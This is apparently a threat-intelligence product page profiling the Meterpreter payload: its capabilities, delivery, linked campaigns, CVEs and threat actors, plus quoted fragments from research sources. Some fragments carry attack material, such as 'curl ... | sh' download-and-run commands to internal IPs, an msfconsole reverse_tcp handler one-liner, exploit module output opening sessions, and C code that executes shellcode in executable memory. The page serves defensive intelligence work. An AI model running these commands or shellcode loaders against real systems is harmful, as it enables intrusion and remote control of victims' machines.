Loading malware…
Meterpreter is the advanced interactive payload framework of Metasploit and is widely used as a post-exploitation agent and backdoor across red-team operations, criminal intrusions, and state-linked campaigns. It is designed to run in memory where possible and provide operators with remote command execution and extensible post-compromise functionality through staged or stageless payloads and multiple transports, including reverse TCP and HTTP/S variants. Implementations exist for Windows, Linux, PHP, Android, Java, Python, and the cross-platform mettle framework, making it adaptable to diverse victim environments.
Operationally, Meterpreter is commonly delivered after exploitation of internet-facing services, through malicious documents and macro-enabled lures, via phishing and spearphishing, by webshell-assisted deployment, or as a secondary payload dropped by loaders, packers, and custom malware. It has repeatedly appeared in real intrusions as either the primary remote-control component or a modular element separated from surveillance and theft plugins. Documented campaigns and clusters associated with Meterpreter use include DarkHotel, Lebanese Cedar, DragonSpark, Transparent Tribe, and multiple opportunistic or espionage-oriented actors, as well as ransomware-affiliated operations that use Metasploit tooling during intrusion activity.
Capabilities directly associated with Meterpreter include remote command execution, interactive post-exploitation, privilege escalation support, process injection, credential theft support through follow-on tooling and operator actions, persistence support through deployment workflows, and reconnaissance of host and network information. On Windows, publicly documented tradecraft includes named-pipe impersonation and other getsystem methods to obtain NT AUTHORITY\SYSTEM privileges. In Linux-focused detections, Meterpreter activity has been associated with reverse-shell behavior, memory-permission changes consistent with in-memory payload execution, and host reconnaissance such as reading system and network configuration artifacts. Meterpreter is also frequently used as a stager, establishing an initial foothold and then downloading or loading more capable components.
Because Meterpreter is a payload framework rather than a single fixed malware family, its exact behavior depends on the selected transport, stage configuration, extensions, and operator objectives. In practice, it remains one of the most recognizable and heavily reused offensive implants in the threat landscape, valued for flexible transport options, broad platform support, and deep integration with Metasploit’s exploitation and post-exploitation ecosystem.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
12 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
modules/exploits/multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891.rb ... [+] The target appears to be vulnerable. ... Successfully retrieved nonce ... Uploading payload ... Payload uploaded successfully ... Meterpreter session 1 opened | [*] No payload configured, defaulting to php/meterpreter/reverse_tcp ... payload => php/meterpreter/reverse_tcp ... [*] Meterpreter session 1 opened
On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } ... 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795
WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... deployed Cobalt Strike and Meterpreter payloads
WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... Upon successful exploitation, they deployed Cobalt Strike and Meterpreter payloads
It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A. | The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A.
Metasploit uses printf to write the Meterpreter stager to disk in 20ish byte chunks (each exploit attempt must fit within a 26 byte buffer), which is quite slow.
Table 1: Filenames and hashes of files used by a threat actor Filename MD5 t.py (tied to scheduled task, python meterpreter reverse shell port 9090) ... g.py (tied to scheduled task, python meterpreter reverse shell port 8088) ...
Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application.
A threat actor exploited CVE-2023-46604 on an internet-facing Apache ActiveMQ server... The threat actor was able to perform remote code execution (RCE) by using a Java Spring class and a custom Java Spring bean configuration XML file.
Threat actors are actively exploiting a recently disclosed critical vulnerability, tracked as CVE-2026-1731 (CVSS score: 9.9), in BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The bug could allow an unauthenticated attacker to send specially crafted requests and run operating system commands remotely, without logging in.
24 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Compared to previous attack activities of this organization, this time DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.
Further use of Meterpreter and their custom Explosive RAT have been associated with objectives around maintaining access through theft of legitimate network credentials, ultimately pursuing espionage objectives.
Tools: SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit.
AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.
AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.
Cinnamon Tempest has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.
[*] Command to execute on target: curl -s http://10.5.135.210:80/q|cmd
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp ... payload => php/meterpreter/reverse_tcp ... Meterpreter : php/linux
void * exec = VirtualAlloc ( 0 , sizeof result , MEM_COMMIT , PAGE_EXECUTE_READWRITE ); memcpy ( exec , result , sizeof result ); (( void ( * )()) exec )();
modules/exploits/multi/http/wp_plugin_pix_unauth_rce_cve_2026_3891.rb ... [+] The target appears to be vulnerable. ... Payload uploaded successfully. Triggering at /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/UOqMnDi.php...
We will divide the shell code into six equal parts and XOR each part with a different key. Then we will perform the reverse operation, i.e., we will perform the XOR operation on the XORed parts with their respective keys.
Executes the shell “ ifconfig ” command. The expect routine looks for a string containing “+” as an indication of success.
The question mentioned a local network service, so I checked what was listening internally: meterpreter > netstat
We will be using a reverse TCP shellcode... msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.1.6; set lport 6210; exploit"
Support added and tweaked for including the UUID in an HTTP header or in a GET param. Currently don't have support for it in the BODY as as param, not sure if that's a requirement yet or not. Same goes for cookies.
A hidden feature of Metasploit, is the ability to add SMB Named Pipe listeners in a meterpreter session to pivot on an internal network. | In the same way as a port forward pivot is set up, your meterpreter session registers a named pipe, and listens to connections to this. After it has been configured, your meterpreter session acts as a listener for SMB connections.
Uploading payload as UOqMnDi.php... [+] 127.0.0.1:80 - Payload uploaded successfully.
Support encoding/decoding of data from C2 profile ... Add IN/OUTBOUND encoding to correctly handle encoding
90 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
121 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Meterpreter is the post-exploitation payload used by the Metasploit exploit module to establish an interactive reverse TCP session on the compromised host.
Meterpreter is referenced as a Metasploit payload, specifically the linux/multi/meterpreter_reverse_tcp payload. In this content it is discussed in the context of cache generation/build automation issues for multi-architecture payloads, not as an active malware campaign.
Meterpreter1
Meterpreter is the primary payload being modified to support TLV-based configuration, stageless operation, HTTP/S C2 profile handling, UUID placement/encoding, and MC2 interoperability across multiple payload types.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.